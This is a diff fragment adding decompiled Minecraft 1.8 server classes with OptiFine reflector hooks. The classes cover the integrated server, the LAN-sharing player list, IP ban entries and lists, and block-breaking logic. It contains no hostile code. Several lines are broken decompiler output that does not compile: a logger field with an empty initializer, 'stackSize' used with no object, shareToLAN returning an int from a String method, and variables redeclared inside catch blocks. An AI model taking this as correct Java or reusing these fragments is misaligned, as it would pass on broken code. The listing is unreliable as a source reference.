+++ b/src/minecraft/net/minecraft/server/integrated/IntegratedPlayerList.java
@@ -0,0 +1,63 @@
+package net.minecraft.server.integrated;
+
+import com.mojang.authlib.GameProfile;
+import java.net.SocketAddress;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.ServerConfigurationManager;
+
+
+
+public class IntegratedPlayerList
+  extends ServerConfigurationManager
+{
+  private NBTTagCompound hostPlayerData;
+  private static final String __OBFID = "CL_00001128";
+  
+  public IntegratedPlayerList(IntegratedServer p_i1314_1_)
+  {
+    super(p_i1314_1_);
+    setViewDistance(10);
+  }
+  
+
+
+
+  protected void writePlayerData(EntityPlayerMP playerIn)
+  {
+    if (playerIn.getName().equals(func_180603_b().getServerOwner()))
+    {
+      hostPlayerData = new NBTTagCompound();
+      playerIn.writeToNBT(hostPlayerData);
+    }
+    
+    super.writePlayerData(playerIn);
+  }
+  
+
+
+
+  public String allowUserToConnect(SocketAddress address, GameProfile profile)
+  {
+    return (profile.getName().equalsIgnoreCase(func_180603_b().getServerOwner())) && (getPlayerByUsername(profile.getName()) != null) ? "That name is already taken." : super.allowUserToConnect(address, profile);
+  }
+  
+  public IntegratedServer func_180603_b()
+  {
+    return (IntegratedServer)super.getServerInstance();
+  }
+  
+
+
+
+  public NBTTagCompound getHostPlayerData()
+  {
+    return hostPlayerData;
+  }
+  
+  public MinecraftServer getServerInstance()
+  {
+    return func_180603_b();
+  }
+}
diff --git a/src/minecraft/net/minecraft/server/integrated/IntegratedServer.java b/src/minecraft/net/minecraft/server/integrated/IntegratedServer.java
new file mode 100644
index 0000000..d226cbe
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/integrated/IntegratedServer.java
@@ -0,0 +1,514 @@
+package net.minecraft.server.integrated;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.Queue;
+import java.util.concurrent.Callable;
+import java.util.concurrent.FutureTask;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.multiplayer.ThreadLanServerPing;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.profiler.PlayerUsageSnooper;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.util.HttpUtil;
+import net.minecraft.world.EnumDifficulty;
+import net.minecraft.world.WorldManager;
+import net.minecraft.world.WorldServer;
+import net.minecraft.world.WorldServerMulti;
+import net.minecraft.world.WorldSettings;
+import net.minecraft.world.WorldSettings.GameType;
+import net.minecraft.world.WorldType;
+import net.minecraft.world.demo.DemoWorldServer;
+import net.minecraft.world.storage.ISaveHandler;
+import net.minecraft.world.storage.WorldInfo;
+import optifine.Reflector;
+import optifine.ReflectorClass;
+import optifine.ReflectorMethod;
+import optifine.WorldServerOF;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class IntegratedServer extends MinecraftServer
+{
+  private static final Logger logger = ;
+  
+  private final Minecraft mc;
+  
+  private final WorldSettings theWorldSettings;
+  private boolean isGamePaused;
+  private boolean isPublic;
+  private ThreadLanServerPing lanServerPing;
+  
+  public IntegratedServer(Minecraft mcIn)
+  {
+    super(mcIn.getProxy(), new File(mcDataDir, USER_CACHE_FILE.getName()));
+    mc = mcIn;
+    theWorldSettings = null;
+  }
+  
+  public IntegratedServer(Minecraft mcIn, String folderName, String worldName, WorldSettings settings)
+  {
+    super(new File(mcDataDir, "saves"), mcIn.getProxy(), new File(mcDataDir, USER_CACHE_FILE.getName()));
+    setServerOwner(mcIn.getSession().getUsername());
+    setFolderName(folderName);
+    setWorldName(worldName);
+    setDemo(mcIn.isDemo());
+    canCreateBonusChest(settings.isBonusChestEnabled());
+    setBuildLimit(256);
+    setConfigManager(new IntegratedPlayerList(this));
+    mc = mcIn;
+    theWorldSettings = (isDemo() ? DemoWorldServer.demoWorldSettings : settings);
+  }
+  
+  protected net.minecraft.command.ServerCommandManager createNewCommandManager()
+  {
+    return new IntegratedServerCommandManager();
+  }
+  
+  protected void loadAllWorlds(String p_71247_1_, String p_71247_2_, long seed, WorldType type, String p_71247_6_)
+  {
+    convertMapIfNeeded(p_71247_1_);
+    ISaveHandler var7 = getActiveAnvilConverter().getSaveLoader(p_71247_1_, true);
+    setResourcePackFromWorld(getFolderName(), var7);
+    WorldInfo var8 = var7.loadWorldInfo();
+    
+    if (Reflector.DimensionManager.exists())
+    {
+      WorldServer var9 = isDemo() ? (WorldServer)new DemoWorldServer(this, var7, var8, 0, theProfiler).init() : (WorldServer)new WorldServerOF(this, var7, var8, 0, theProfiler).init();
+      var9.initialize(theWorldSettings);
+      Integer[] var10 = (Integer[])Reflector.call(Reflector.DimensionManager_getStaticDimensionIDs, new Object[0]);
+      Integer[] arr$ = var10;
+      int len$ = var10.length;
+      
+      for (int i$ = 0; i$ < len$; i$++)
+      {
+        int dim = arr$[i$].intValue();
+        WorldServer world = dim == 0 ? var9 : (WorldServer)new WorldServerMulti(this, var7, dim, var9, theProfiler).init();
+        world.addWorldAccess(new WorldManager(this, world));
+        
+        if (!isSinglePlayer())
+        {
+          world.getWorldInfo().setGameType(getGameType());
+        }
+        
+        if (Reflector.EventBus.exists())
+        {
+          Reflector.postForgeBusEvent(Reflector.WorldEvent_Load_Constructor, new Object[] { world });
+        }
+      }
+      
+      getConfigurationManager().setPlayerManager(new WorldServer[] { var9 });
+      
+      if (var9.getWorldInfo().getDifficulty() == null)
+      {
+        setDifficultyForAllWorlds(mc.gameSettings.difficulty);
+      }
+    }
+    else
+    {
+      worldServers = new WorldServer[3];
+      timeOfLastDimensionTick = new long[worldServers.length][100];
+      setResourcePackFromWorld(getFolderName(), var7);
+      
+      if (var8 == null)
+      {
+        var8 = new WorldInfo(theWorldSettings, p_71247_2_);
+      }
+      else
+      {
+        var8.setWorldName(p_71247_2_);
+      }
+      
+      for (int var16 = 0; var16 < worldServers.length; var16++)
+      {
+        byte var17 = 0;
+        
+        if (var16 == 1)
+        {
+          var17 = -1;
+        }
+        
+        if (var16 == 2)
+        {
+          var17 = 1;
+        }
+        
+        if (var16 == 0)
+        {
+          if (isDemo())
+          {
+            worldServers[var16] = ((WorldServer)new DemoWorldServer(this, var7, var8, var17, theProfiler).init());
+          }
+          else
+          {
+            worldServers[var16] = ((WorldServer)new WorldServerOF(this, var7, var8, var17, theProfiler).init());
+          }
+          
+          worldServers[var16].initialize(theWorldSettings);
+        }
+        else
+        {
+          worldServers[var16] = ((WorldServer)new WorldServerMulti(this, var7, var17, worldServers[0], theProfiler).init());
+        }
+        
+        worldServers[var16].addWorldAccess(new WorldManager(this, worldServers[var16]));
+      }
+      
+      getConfigurationManager().setPlayerManager(worldServers);
+      
+      if (worldServers[0].getWorldInfo().getDifficulty() == null)
+      {
+        setDifficultyForAllWorlds(mc.gameSettings.difficulty);
+      }
+    }
+    
+    initialWorldChunkLoad();
+  }
+  
+
+
+  protected boolean startServer()
+    throws IOException
+  {
+    logger.info("Starting integrated minecraft server version 1.8");
+    setOnlineMode(true);
+    setCanSpawnAnimals(true);
+    setCanSpawnNPCs(true);
+    setAllowPvp(true);
+    setAllowFlight(true);
+    logger.info("Generating keypair");
+    setKeyPair(net.minecraft.util.CryptManager.generateKeyPair());
+    
+
+    if (Reflector.FMLCommonHandler_handleServerAboutToStart.exists())
+    {
+      Object inst = Reflector.call(Reflector.FMLCommonHandler_instance, new Object[0]);
+      
+      if (!Reflector.callBoolean(inst, Reflector.FMLCommonHandler_handleServerAboutToStart, new Object[] { this }))
+      {
+        return false;
+      }
+    }
+    
+    loadAllWorlds(getFolderName(), getWorldName(), theWorldSettings.getSeed(), theWorldSettings.getTerrainType(), theWorldSettings.getWorldName());
+    setMOTD(getServerOwner() + " - " + worldServers[0].getWorldInfo().getWorldName());
+    
+    if (Reflector.FMLCommonHandler_handleServerStarting.exists())
+    {
+      Object inst = Reflector.call(Reflector.FMLCommonHandler_instance, new Object[0]);
+      
+      if (Reflector.FMLCommonHandler_handleServerStarting.getReturnType() == Boolean.TYPE)
+      {
+        return Reflector.callBoolean(inst, Reflector.FMLCommonHandler_handleServerStarting, new Object[] { this });
+      }
+      
+      Reflector.callVoid(inst, Reflector.FMLCommonHandler_handleServerStarting, new Object[] { this });
+    }
+    
+    return true;
+  }
+  
+
+
+
+  public void tick()
+  {
+    boolean var1 = isGamePaused;
+    isGamePaused = ((Minecraft.getMinecraft().getNetHandler() != null) && (Minecraft.getMinecraft().isGamePaused()));
+    
+    if ((!var1) && (isGamePaused))
+    {
+      logger.info("Saving and pausing game...");
+      getConfigurationManager().saveAllPlayerData();
+      saveAllWorlds(false);
+    }
+    
+    if (isGamePaused)
+    {
+      Queue var10 = futureTaskQueue;
+      Queue var3 = futureTaskQueue;
+      
+      synchronized (futureTaskQueue)
+      {
+        while (!futureTaskQueue.isEmpty())
+        {
+          try
+          {
+            if (Reflector.FMLCommonHandler_callFuture.exists())
+            {
+              Reflector.callVoid(Reflector.FMLCommonHandler_callFuture, new Object[] { (FutureTask)futureTaskQueue.poll() });
+            }
+            else
+            {
+              ((FutureTask)futureTaskQueue.poll()).run();
+            }
+          }
+          catch (Throwable var8)
+          {
+            logger.fatal(var8);
+          }
+        }
+      }
+    }
+    
+
+    super.tick();
+    
+    if (mc.gameSettings.renderDistanceChunks != getConfigurationManager().getViewDistance())
+    {
+      logger.info("Changing view distance to {}, from {}", new Object[] { Integer.valueOf(mc.gameSettings.renderDistanceChunks), Integer.valueOf(getConfigurationManager().getViewDistance()) });
+      getConfigurationManager().setViewDistance(mc.gameSettings.renderDistanceChunks);
+    }
+    
+    if (mc.theWorld != null)
+    {
+      WorldInfo var101 = worldServers[0].getWorldInfo();
+      WorldInfo var11 = mc.theWorld.getWorldInfo();
+      
+      if ((!var101.isDifficultyLocked()) && (var11.getDifficulty() != var101.getDifficulty()))
+      {
+        logger.info("Changing difficulty to {}, from {}", new Object[] { var11.getDifficulty(), var101.getDifficulty() });
+        setDifficultyForAllWorlds(var11.getDifficulty());
+      }
+      else if ((var11.isDifficultyLocked()) && (!var101.isDifficultyLocked()))
+      {
+        logger.info("Locking difficulty to {}", new Object[] { var11.getDifficulty() });
+        WorldServer[] var4 = worldServers;
+        int var5 = var4.length;
+        
+        for (int var6 = 0; var6 < var5; var6++)
+        {
+          WorldServer var7 = var4[var6];
+          
+          if (var7 != null)
+          {
+            var7.getWorldInfo().setDifficultyLocked(true);
+          }
+        }
+      }
+    }
+  }
+  
+
+  public boolean canStructuresSpawn()
+  {
+    return false;
+  }
+  
+  public WorldSettings.GameType getGameType()
+  {
+    return theWorldSettings.getGameType();
+  }
+  
+
+
+
+  public EnumDifficulty getDifficulty()
+  {
+    return mc.theWorld == null ? mc.gameSettings.difficulty : mc.theWorld.getWorldInfo().getDifficulty();
+  }
+  
+
+
+
+  public boolean isHardcore()
+  {
+    return theWorldSettings.getHardcoreEnabled();
+  }
+  
+  public File getDataDirectory()
+  {
+    return mc.mcDataDir;
+  }
+  
+  public boolean isDedicatedServer()
+  {
+    return false;
+  }
+  
+
+
+
+  protected void finalTick(CrashReport report)
+  {
+    mc.crashed(report);
+  }
+  
+
+
+
+  public CrashReport addServerInfoToCrashReport(CrashReport report)
+  {
+    report = super.addServerInfoToCrashReport(report);
+    report.getCategory().addCrashSectionCallable("Type", new Callable()
+    {
+      public String call()
+      {
+        return "Integrated Server (map_client.txt)";
+      }
+    });
+    report.getCategory().addCrashSectionCallable("Is Modded", new Callable()
+    {
+      public String call()
+      {
+        String var1 = net.minecraft.client.ClientBrandRetriever.getClientModName();
+        
+        if (!var1.equals("vanilla"))
+        {
+          return "Definitely; Client brand changed to '" + var1 + "'";
+        }
+        
+
+        var1 = getServerModName();
+        return Minecraft.class.getSigners() == null ? "Very likely; Jar signature invalidated" : !var1.equals("vanilla") ? "Definitely; Server brand changed to '" + var1 + "'" : "Probably not. Jar signature remains and both client + server brands are untouched.";
+      }
+      
+    });
+    return report;
+  }
+  
+  public void setDifficultyForAllWorlds(EnumDifficulty difficulty)
+  {
+    super.setDifficultyForAllWorlds(difficulty);
+    
+    if (mc.theWorld != null)
+    {
+      mc.theWorld.getWorldInfo().setDifficulty(difficulty);
+    }
+  }
+  
+  public void addServerStatsToSnooper(PlayerUsageSnooper playerSnooper)
+  {
+    super.addServerStatsToSnooper(playerSnooper);
+    playerSnooper.addClientStat("snooper_partner", mc.getPlayerUsageSnooper().getUniqueID());
+  }
+  
+
+
+
+  public boolean isSnooperEnabled()
+  {
+    return Minecraft.getMinecraft().isSnooperEnabled();
+  }
+  
+
+
+
+  public String shareToLAN(WorldSettings.GameType type, boolean allowCheats)
+  {
+    try
+    {
+      int var6 = -1;
+      
+      try
+      {
+        var6 = HttpUtil.getSuitableLanPort();
+      }
+      catch (IOException localIOException1) {}
+      
+
+
+
+      if (var6 <= 0)
+      {
+        var6 = 25564;
+      }
+      
+      getNetworkSystem().addLanEndpoint(null, var6);
+      logger.info("Started on " + var6);
+      isPublic = true;
+      lanServerPing = new ThreadLanServerPing(getMOTD(), var6);
+      lanServerPing.start();
+      getConfigurationManager().func_152604_a(type);
+      getConfigurationManager().setCommandsAllowedForAll(allowCheats);
+      return var6;
+    }
+    catch (IOException var61) {}
+    
+    return null;
+  }
+  
+
+
+
+
+  public void stopServer()
+  {
+    super.stopServer();
+    
+    if (lanServerPing != null)
+    {
+      lanServerPing.interrupt();
+      lanServerPing = null;
+    }
+  }
+  
+
+
+
+  public void initiateShutdown()
+  {
+    com.google.common.util.concurrent.Futures.getUnchecked(addScheduledTask(new Runnable()
+    {
+      public void run()
+      {
+        ArrayList var1 = com.google.common.collect.Lists.newArrayList(getConfigurationManager().playerEntityList);
+        Iterator var2 = var1.iterator();
+        
+        while (var2.hasNext())
+        {
+          EntityPlayerMP var3 = (EntityPlayerMP)var2.next();
+          getConfigurationManager().playerLoggedOut(var3);
+        }
+      }
+    }));
+    super.initiateShutdown();
+    
+    if (lanServerPing != null)
+    {
+      lanServerPing.interrupt();
+      lanServerPing = null;
+    }
+  }
+  
+  public void func_175592_a()
+  {
+    func_175585_v();
+  }
+  
+
+
+
+  public boolean getPublic()
+  {
+    return isPublic;
+  }
+  
+
+
+
+  public void setGameType(WorldSettings.GameType gameMode)
+  {
+    getConfigurationManager().func_152604_a(gameMode);
+  }
+  
+
+
+
+  public boolean isCommandBlockEnabled()
+  {
+    return true;
+  }
+  
+  public int getOpPermissionLevel()
+  {
+    return 4;
+  }
+}
diff --git a/src/minecraft/net/minecraft/server/integrated/IntegratedServerCommandManager.java b/src/minecraft/net/minecraft/server/integrated/IntegratedServerCommandManager.java
new file mode 100644
index 0000000..04ce5c5
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/integrated/IntegratedServerCommandManager.java
@@ -0,0 +1,11 @@
+package net.minecraft.server.integrated;
+
+import net.minecraft.command.ServerCommandManager;
+
+public class IntegratedServerCommandManager
+  extends ServerCommandManager
+{
+  private static final String __OBFID = "CL_00002379";
+  
+  public IntegratedServerCommandManager() {}
+}
diff --git a/src/minecraft/net/minecraft/server/management/BanEntry.java b/src/minecraft/net/minecraft/server/management/BanEntry.java
new file mode 100644
index 0000000..d76c266
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/management/BanEntry.java
@@ -0,0 +1,79 @@
+package net.minecraft.server.management;
+
+import com.google.gson.JsonObject;
+import java.text.ParseException;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+
+public abstract class BanEntry extends UserListEntry
+{
+  public static final SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss Z");
+  protected final Date banStartDate;
+  protected final String bannedBy;
+  protected final Date banEndDate;
+  protected final String reason;
+  private static final String __OBFID = "CL_00001395";
+  
+  public BanEntry(Object p_i46334_1_, Date p_i46334_2_, String p_i46334_3_, Date p_i46334_4_, String p_i46334_5_)
+  {
+    super(p_i46334_1_);
+    banStartDate = (p_i46334_2_ == null ? new Date() : p_i46334_2_);
+    bannedBy = (p_i46334_3_ == null ? "(Unknown)" : p_i46334_3_);
+    banEndDate = p_i46334_4_;
+    reason = (p_i46334_5_ == null ? "Banned by an operator." : p_i46334_5_);
+  }
+  
+  protected BanEntry(Object p_i1174_1_, JsonObject p_i1174_2_)
+  {
+    super(p_i1174_1_, p_i1174_2_);
+    
+    Date var3;
+    try
+    {
+      var3 = p_i1174_2_.has("created") ? dateFormat.parse(p_i1174_2_.get("created").getAsString()) : new Date();
+    }
+    catch (ParseException var7) {
+      Date var3;
+      var3 = new Date();
+    }
+    
+    banStartDate = var3;
+    bannedBy = (p_i1174_2_.has("source") ? p_i1174_2_.get("source").getAsString() : "(Unknown)");
+    
+    Date var4;
+    try
+    {
+      var4 = p_i1174_2_.has("expires") ? dateFormat.parse(p_i1174_2_.get("expires").getAsString()) : null;
+    }
+    catch (ParseException var6) {
+      Date var4;
+      var4 = null;
+    }
+    
+    banEndDate = var4;
+    reason = (p_i1174_2_.has("reason") ? p_i1174_2_.get("reason").getAsString() : "Banned by an operator.");
+  }
+  
+  public Date getBanEndDate()
+  {
+    return banEndDate;
+  }
+  
+  public String getBanReason()
+  {
+    return reason;
+  }
+  
+  boolean hasBanExpired()
+  {
+    return banEndDate == null ? false : banEndDate.before(new Date());
+  }
+  
+  protected void onSerialization(JsonObject data)
+  {
+    data.addProperty("created", dateFormat.format(banStartDate));
+    data.addProperty("source", bannedBy);
+    data.addProperty("expires", banEndDate == null ? "forever" : dateFormat.format(banEndDate));
+    data.addProperty("reason", reason);
+  }
+}
diff --git a/src/minecraft/net/minecraft/server/management/BanList.java b/src/minecraft/net/minecraft/server/management/BanList.java
new file mode 100644
index 0000000..58620ae
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/management/BanList.java
@@ -0,0 +1,49 @@
+package net.minecraft.server.management;
+
+import com.google.gson.JsonObject;
+import java.io.File;
+import java.net.SocketAddress;
+
+public class BanList extends UserList
+{
+  private static final String __OBFID = "CL_00001396";
+  
+  public BanList(File bansFile)
+  {
+    super(bansFile);
+  }
+  
+  protected UserListEntry createEntry(JsonObject entryData)
+  {
+    return new IPBanEntry(entryData);
+  }
+  
+  public boolean isBanned(SocketAddress address)
+  {
+    String var2 = addressToString(address);
+    return hasEntry(var2);
+  }
+  
+  public IPBanEntry getBanEntry(SocketAddress address)
+  {
+    String var2 = addressToString(address);
+    return (IPBanEntry)getEntry(var2);
+  }
+  
+  private String addressToString(SocketAddress address)
+  {
+    String var2 = address.toString();
+    
+    if (var2.contains("/"))
+    {
+      var2 = var2.substring(var2.indexOf('/') + 1);
+    }
+    
+    if (var2.contains(":"))
+    {
+      var2 = var2.substring(0, var2.indexOf(':'));
+    }
+    
+    return var2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/server/management/IPBanEntry.java b/src/minecraft/net/minecraft/server/management/IPBanEntry.java
new file mode 100644
index 0000000..49a4d95
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/management/IPBanEntry.java
@@ -0,0 +1,38 @@
+package net.minecraft.server.management;
+
+import com.google.gson.JsonObject;
+import java.util.Date;
+
+public class IPBanEntry extends BanEntry
+{
+  private static final String __OBFID = "CL_00001883";
+  
+  public IPBanEntry(String p_i46330_1_)
+  {
+    this(p_i46330_1_, null, null, null, null);
+  }
+  
+  public IPBanEntry(String p_i1159_1_, Date p_i1159_2_, String p_i1159_3_, Date p_i1159_4_, String p_i1159_5_)
+  {
+    super(p_i1159_1_, p_i1159_2_, p_i1159_3_, p_i1159_4_, p_i1159_5_);
+  }
+  
+  public IPBanEntry(JsonObject p_i46331_1_)
+  {
+    super(func_152647_b(p_i46331_1_), p_i46331_1_);
+  }
+  
+  private static String func_152647_b(JsonObject p_152647_0_)
+  {
+    return p_152647_0_.has("ip") ? p_152647_0_.get("ip").getAsString() : null;
+  }
+  
+  protected void onSerialization(JsonObject data)
+  {
+    if (getValue() != null)
+    {
+      data.addProperty("ip", (String)getValue());
+      super.onSerialization(data);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/server/management/ItemInWorldManager.java b/src/minecraft/net/minecraft/server/management/ItemInWorldManager.java
new file mode 100644
index 0000000..5a9147c
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/management/ItemInWorldManager.java
@@ -0,0 +1,446 @@
+package net.minecraft.server.management;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockChest;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.item.ItemStack;
+import net.minecraft.item.ItemSword;
+import net.minecraft.network.NetHandlerPlayServer;
+import net.minecraft.network.play.server.S23PacketBlockChange;
+import net.minecraft.network.play.server.S38PacketPlayerListItem;
+import net.minecraft.network.play.server.S38PacketPlayerListItem.Action;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityChest;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.ILockableContainer;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldServer;
+import net.minecraft.world.WorldSettings.GameType;
+
+
+
+
+
+
+
+
+public class ItemInWorldManager
+{
+  public World theWorld;
+  public EntityPlayerMP thisPlayerMP;
+  private WorldSettings.GameType gameType;
+  private boolean isDestroyingBlock;
+  private int initialDamage;
+  private BlockPos field_180240_f;
+  private int curblockDamage;
+  private boolean receivedFinishDiggingPacket;
+  private BlockPos field_180241_i;
+  private int initialBlockDamage;
+  private int durabilityRemainingOnBlock;
+  private static final String __OBFID = "CL_00001442";
+  
+  public ItemInWorldManager(World worldIn)
+  {
+    gameType = WorldSettings.GameType.NOT_SET;
+    field_180240_f = BlockPos.ORIGIN;
+    field_180241_i = BlockPos.ORIGIN;
+    durabilityRemainingOnBlock = -1;
+    theWorld = worldIn;
+  }
+  
+  public void setGameType(WorldSettings.GameType p_73076_1_)
+  {
+    gameType = p_73076_1_;
+    p_73076_1_.configurePlayerCapabilities(thisPlayerMP.capabilities);
+    thisPlayerMP.sendPlayerAbilities();
+    thisPlayerMP.mcServer.getConfigurationManager().sendPacketToAllPlayers(new S38PacketPlayerListItem(S38PacketPlayerListItem.Action.UPDATE_GAME_MODE, new EntityPlayerMP[] { thisPlayerMP }));
+  }
+  
+  public WorldSettings.GameType getGameType()
+  {
+    return gameType;
+  }
+  
+  public boolean func_180239_c()
+  {
+    return gameType.isSurvivalOrAdventure();
+  }
+  
+
+
+
+  public boolean isCreative()
+  {
+    return gameType.isCreative();
+  }
+  
+
+
+
+  public void initializeGameType(WorldSettings.GameType p_73077_1_)
+  {
+    if (gameType == WorldSettings.GameType.NOT_SET)
+    {
+      gameType = p_73077_1_;
+    }
+    
+    setGameType(gameType);
+  }
+  
+  public void updateBlockRemoving()
+  {
+    curblockDamage += 1;
+    
+
+
+    if (receivedFinishDiggingPacket)
+    {
+      int var1 = curblockDamage - initialBlockDamage;
+      Block var2 = theWorld.getBlockState(field_180241_i).getBlock();
+      
+      if (var2.getMaterial() == Material.air)
+      {
+        receivedFinishDiggingPacket = false;
+      }
+      else
+      {
+        float var3 = var2.getPlayerRelativeBlockHardness(thisPlayerMP, thisPlayerMP.worldObj, field_180241_i) * (var1 + 1);
+        int var4 = (int)(var3 * 10.0F);
+        
+        if (var4 != durabilityRemainingOnBlock)
+        {
+          theWorld.sendBlockBreakProgress(thisPlayerMP.getEntityId(), field_180241_i, var4);
+          durabilityRemainingOnBlock = var4;
+        }
+        
+        if (var3 >= 1.0F)
+        {
+          receivedFinishDiggingPacket = false;
+          func_180237_b(field_180241_i);
+        }
+      }
+    }
+    else if (isDestroyingBlock)
+    {
+      Block var5 = theWorld.getBlockState(field_180240_f).getBlock();
+      
+      if (var5.getMaterial() == Material.air)
+      {
+        theWorld.sendBlockBreakProgress(thisPlayerMP.getEntityId(), field_180240_f, -1);
+        durabilityRemainingOnBlock = -1;
+        isDestroyingBlock = false;
+      }
+      else
+      {
+        int var6 = curblockDamage - initialDamage;
+        float var3 = var5.getPlayerRelativeBlockHardness(thisPlayerMP, thisPlayerMP.worldObj, field_180241_i) * (var6 + 1);
+        int var4 = (int)(var3 * 10.0F);
+        
+        if (var4 != durabilityRemainingOnBlock)
+        {
+          theWorld.sendBlockBreakProgress(thisPlayerMP.getEntityId(), field_180240_f, var4);
+          durabilityRemainingOnBlock = var4;
+        }
+      }
+    }
+  }
+  
+  public void func_180784_a(BlockPos p_180784_1_, EnumFacing p_180784_2_)
+  {
+    if (isCreative())
+    {
+      if (!theWorld.func_175719_a(null, p_180784_1_, p_180784_2_))
+      {
+        func_180237_b(p_180784_1_);
+      }
+    }
+    else
+    {
+      Block var3 = theWorld.getBlockState(p_180784_1_).getBlock();
+      
+      if (gameType.isAdventure())
+      {
+        if (gameType == WorldSettings.GameType.SPECTATOR)
+        {
+          return;
+        }
+        
+        if (!thisPlayerMP.func_175142_cm())
+        {
+          ItemStack var4 = thisPlayerMP.getCurrentEquippedItem();
+          
+          if (var4 == null)
+          {
+            return;
+          }
+          
+          if (!var4.canDestroy(var3))
+          {
+            return;
+          }
+        }
+      }
+      
+      theWorld.func_175719_a(null, p_180784_1_, p_180784_2_);
+      initialDamage = curblockDamage;
+      float var6 = 1.0F;
+      
+      if (var3.getMaterial() != Material.air)
+      {
+        var3.onBlockClicked(theWorld, p_180784_1_, thisPlayerMP);
+        var6 = var3.getPlayerRelativeBlockHardness(thisPlayerMP, thisPlayerMP.worldObj, p_180784_1_);
+      }
+      
+      if ((var3.getMaterial() != Material.air) && (var6 >= 1.0F))
+      {
+        func_180237_b(p_180784_1_);
+      }
+      else
+      {
+        isDestroyingBlock = true;
+        field_180240_f = p_180784_1_;
+        int var5 = (int)(var6 * 10.0F);
+        theWorld.sendBlockBreakProgress(thisPlayerMP.getEntityId(), p_180784_1_, var5);
+        durabilityRemainingOnBlock = var5;
+      }
+    }
+  }
+  
+  public void func_180785_a(BlockPos p_180785_1_)
+  {
+    if (p_180785_1_.equals(field_180240_f))
+    {
+      int var2 = curblockDamage - initialDamage;
+      Block var3 = theWorld.getBlockState(p_180785_1_).getBlock();
+      
+      if (var3.getMaterial() != Material.air)
+      {
+        float var4 = var3.getPlayerRelativeBlockHardness(thisPlayerMP, thisPlayerMP.worldObj, p_180785_1_) * (var2 + 1);
+        
+        if (var4 >= 0.7F)
+        {
+          isDestroyingBlock = false;
+          theWorld.sendBlockBreakProgress(thisPlayerMP.getEntityId(), p_180785_1_, -1);
+          func_180237_b(p_180785_1_);
+        }
+        else if (!receivedFinishDiggingPacket)
+        {
+          isDestroyingBlock = false;
+          receivedFinishDiggingPacket = true;
+          field_180241_i = p_180785_1_;
+          initialBlockDamage = initialDamage;
+        }
+      }
+    }
+  }
+  
+  public void func_180238_e()
+  {
+    isDestroyingBlock = false;
+    theWorld.sendBlockBreakProgress(thisPlayerMP.getEntityId(), field_180240_f, -1);
+  }
+  
+  private boolean func_180235_c(BlockPos p_180235_1_)
+  {
+    IBlockState var2 = theWorld.getBlockState(p_180235_1_);
+    var2.getBlock().onBlockHarvested(theWorld, p_180235_1_, var2, thisPlayerMP);
+    boolean var3 = theWorld.setBlockToAir(p_180235_1_);
+    
+    if (var3)
+    {
+      var2.getBlock().onBlockDestroyedByPlayer(theWorld, p_180235_1_, var2);
+    }
+    
+    return var3;
+  }
+  
+  public boolean func_180237_b(BlockPos p_180237_1_)
+  {
+    if ((gameType.isCreative()) && (thisPlayerMP.getHeldItem() != null) && ((thisPlayerMP.getHeldItem().getItem() instanceof ItemSword)))
+    {
+      return false;
+    }
+    
+
+    IBlockState var2 = theWorld.getBlockState(p_180237_1_);
+    TileEntity var3 = theWorld.getTileEntity(p_180237_1_);
+    
+    if (gameType.isAdventure())
+    {
+      if (gameType == WorldSettings.GameType.SPECTATOR)
+      {
+        return false;
+      }
+      
+      if (!thisPlayerMP.func_175142_cm())
+      {
+        ItemStack var4 = thisPlayerMP.getCurrentEquippedItem();
+        
+        if (var4 == null)
+        {
+          return false;
+        }
+        
+        if (!var4.canDestroy(var2.getBlock()))
+        {
+          return false;
+        }
+      }
+    }
+    
+    theWorld.playAuxSFXAtEntity(thisPlayerMP, 2001, p_180237_1_, Block.getStateId(var2));
+    boolean var7 = func_180235_c(p_180237_1_);
+    
+    if (isCreative())
+    {
+      thisPlayerMP.playerNetServerHandler.sendPacket(new S23PacketBlockChange(theWorld, p_180237_1_));
+    }
+    else
+    {
+      ItemStack var5 = thisPlayerMP.getCurrentEquippedItem();
+      boolean var6 = thisPlayerMP.canHarvestBlock(var2.getBlock());
+      
+      if (var5 != null)
+      {
+        var5.onBlockDestroyed(theWorld, var2.getBlock(), p_180237_1_, thisPlayerMP);
+        
+        if (stackSize == 0)
+        {
+          thisPlayerMP.destroyCurrentEquippedItem();
+        }
+      }
+      
+      if ((var7) && (var6))
+      {
+        var2.getBlock().harvestBlock(theWorld, thisPlayerMP, p_180237_1_, var2, var3);
+      }
+    }
+    
+    return var7;
+  }
+  
+
+
+
+
+  public boolean tryUseItem(EntityPlayer p_73085_1_, World worldIn, ItemStack p_73085_3_)
+  {
+    if (gameType == WorldSettings.GameType.SPECTATOR)
+    {
+      return false;
+    }
+    
+
+    int var4 = stackSize;
+    int var5 = p_73085_3_.getMetadata();
+    ItemStack var6 = p_73085_3_.useItemRightClick(worldIn, p_73085_1_);
+    
